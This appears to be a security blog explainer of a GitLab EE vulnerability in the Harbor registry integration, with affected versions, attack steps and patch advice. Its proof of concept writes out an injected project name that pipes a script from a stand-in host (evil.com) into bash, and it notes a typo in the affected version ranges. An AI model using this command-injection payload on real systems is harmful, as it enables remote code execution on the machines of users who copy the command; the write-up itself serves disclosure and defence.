GitLab is one of the favorite platforms for many developers and companies to manage their code and DevOps pipelines. But even the best tools slip up sometimes. A recent security problem, tracked as CVE-2024-9773, was discovered in GitLab Enterprise Edition (EE) and could let project maintainers add dangerous commands right into the GitLab UI itself. Here, we’ll break down what happened, show you how the exploit works, and help you stay secure.
What is CVE-2024-9773?
CVE-2024-9773 is an input validation bug that affects GitLab EE's integration with Harbor—an open-source container image registry. In plain English, it means that a person with certain permissions could slip malicious code into areas where regular users expect safe, copy-paste Docker or CLI commands.
All versions from 14.9 up to (but not including) 17.8.6
- All versions from 17.9 up to (but not including) 17.8.3 *(Typo in GitLab advisory; likely means 17.9 < 17.9.3)*
All versions from 17.10 up to (but not including) 17.10.1
Only GitLab Enterprise Edition (EE) is affected.
> 💡 References:
> - GitLab Security Advisory
> - CVE Record for CVE-2024-9773
The Feature
GitLab can connect to different container registries, including Harbor, to let developers browse, pull, and push container images straight from the GitLab web UI. This integration often generates helpful copy-paste *CLI instructions* (like Docker commands) for users.
The Vulnerability
Due to poor input validation, a project maintainer could inject arbitrary text—including shell commands—into fields that would then be rendered directly in the CLI instructions within the GitLab web page. This opens up a risk: If someone copies those commands as shown and runs them in their terminal, they might unknowingly execute malicious code.
Proof-of-Concept: Exploiting CVE-2024-9773
Let’s say a maintainer configures the Harbor registry integration and enters a malicious *project name* like this:
myproject; curl -s http://evil.com/pwn.sh | bash; #
GitLab then generates a CLI instruction like
docker login harbor.mycompany.com -u myuser -p mypassword
docker pull harbor.mycompany.com/myproject; curl -s http://evil.com/pwn.sh | bash; #/latest
If a developer naively copies and runs the second command, they're actually allowing remote code execution on their own machine!
Attacker gets Maintainer role in a GitLab project.
2. Attacker sets up Harbor registry integration and names a resource with a shell injection payload (like above).
GitLab’s UI renders the CLI command using this value without sanitizing or escaping it.
4. A user sees the CLI command in the UI, trusts it (it looks standard), and copies it into their terminal.
5. Malicious code runs—could exfiltrate secrets, plant backdoors, or anything else the terminal user can do.
Here’s a pseudo-code example similar to what might happen in GitLab’s template code
# Assume project_name is user-controlled and unsanitized
<pre>
docker pull harbor.mycompany.com/<%= project_name %>/latest
</pre>
With no input validation, if project_name is malicious, it becomes a dangerous shell command when copy-pasted.
Patch Now: Upgrade to GitLab EE 17.8.6, 17.9.3, or 17.10.1 (or later) ASAP.
- GitLab Upgrade Documentation
For Developers & Users
- Don’t blindly copy-paste commands from shared UIs or documentation. Check for suspicious commands, stray characters (like ;, |), and URLs.
- Confirm commands with your DevOps/security team if anything looks off.
Lessons Learned
- Never trust user input in code or UI templates. Data used in command instructions must be properly sanitized or escaped.
- Internal threats matter: Maintainers and trusted contributors can, by accident or malice, be vectors for security holes.
Final Notes
CVE-2024-9773 is a great reminder: Even helpful features like auto-generated CLI commands are risky if user input isn’t handled with extreme care. Don’t let copy-paste convenience bypass critical security reviews!
Got doubts about your setup? See the official advisories for security tips and always keep your software up to date:
- Official GitLab Security Release (June 30, 2024)
- CVE-2024-9773 Database Entry - NVD
Timeline
Published on: 03/27/2025 13:15:35 UTC
Last modified on: 03/27/2025 16:45:12 UTC